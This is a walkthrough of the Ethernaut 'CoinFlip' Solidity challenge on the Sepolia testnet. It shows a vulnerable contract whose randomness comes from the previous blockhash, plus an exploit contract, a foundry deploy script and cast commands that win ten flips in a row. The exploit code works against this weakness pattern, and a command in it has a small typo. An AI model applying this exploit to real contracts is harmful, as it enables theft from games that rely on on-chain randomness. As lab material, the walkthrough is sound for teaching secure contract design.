This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

This is the contract’s code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

First, we need to get an instance for the challenge:

  1. After connecting our Metamask wallet, click on “Get New Instance”:

    alt text

  2. After approving the transaction, the contract address will be shown in the browser’s javascript console:

    alt text

To win the challenge, we need to make the consecutiveWins variable at least 10. To do so, we need to correctly guess if the side variable is true or false when calling the flip() function.

The source of randomness comes from blockhash(block.number) - 1. This value is deterministic, and everyone can query it, because it involves a past blockchain’s block. Therefore, we can use the same code and we will get the same outcome.

The exploit for this challenge is so much easier if it is written within a contract, instead of directly interacting with the challenge’s contract. This simple contract will do the trick:

contract Exploit {
    CoinFlip targetContract = CoinFlip(address(0x849a7dd6e426fe961a00A5b34287524A00CbC0f4));
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function guessFlip() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        targetContract.flip(side);
    }
}

Now, we will deploy this contract and call the guessFlip function 10 times in a row, which will guess the flip and we will win the challenge!

Let’s deploy the contract using foundry. Execute this command to create a sample project:

froundry init exploit

Now, write the exploit contract inside the src/ folder, in a file called Exploit.sol. Then, create a script to deploy the contract in the file scripts/Exploit.s.sol, with this content:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Exploit.sol";

contract ExploitScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);
        Exploit exploit = new Exploit();
        vm.stopBroadcast();
    }
}

I am using the Sepolia node by Alchemy, on https://eth-sepolia.g.alchemy.com/v2/

Now, execute these commands to compile the project and deploy the malicious contract:

forge build
forge script script/Exploit.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv

If everything was successful, we will get the address on which the contract was deployed:

alt text

Now, we need to call the guessFlip function 10 times in a row:

for i in $(seq 1 10); do
    cast send 0x625BDC0e020FD38E4bbCda903B6cB5955C39940D "guessFlip()" --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
done

After a while, we can execute the consecutiveWins() function on the challenge contract and verify that its value is 10. Note that the consecutiveWins() function is automatically added because the consecutiveWins variable is a public one:

cast call 0x849a7dd6e426fe961a00A5b34287524A00CbC0f4 "consecutiveWins()" --rpc-url $SEPOLIA_RPC_URL

alt text

Great! Challenge solved!

alt text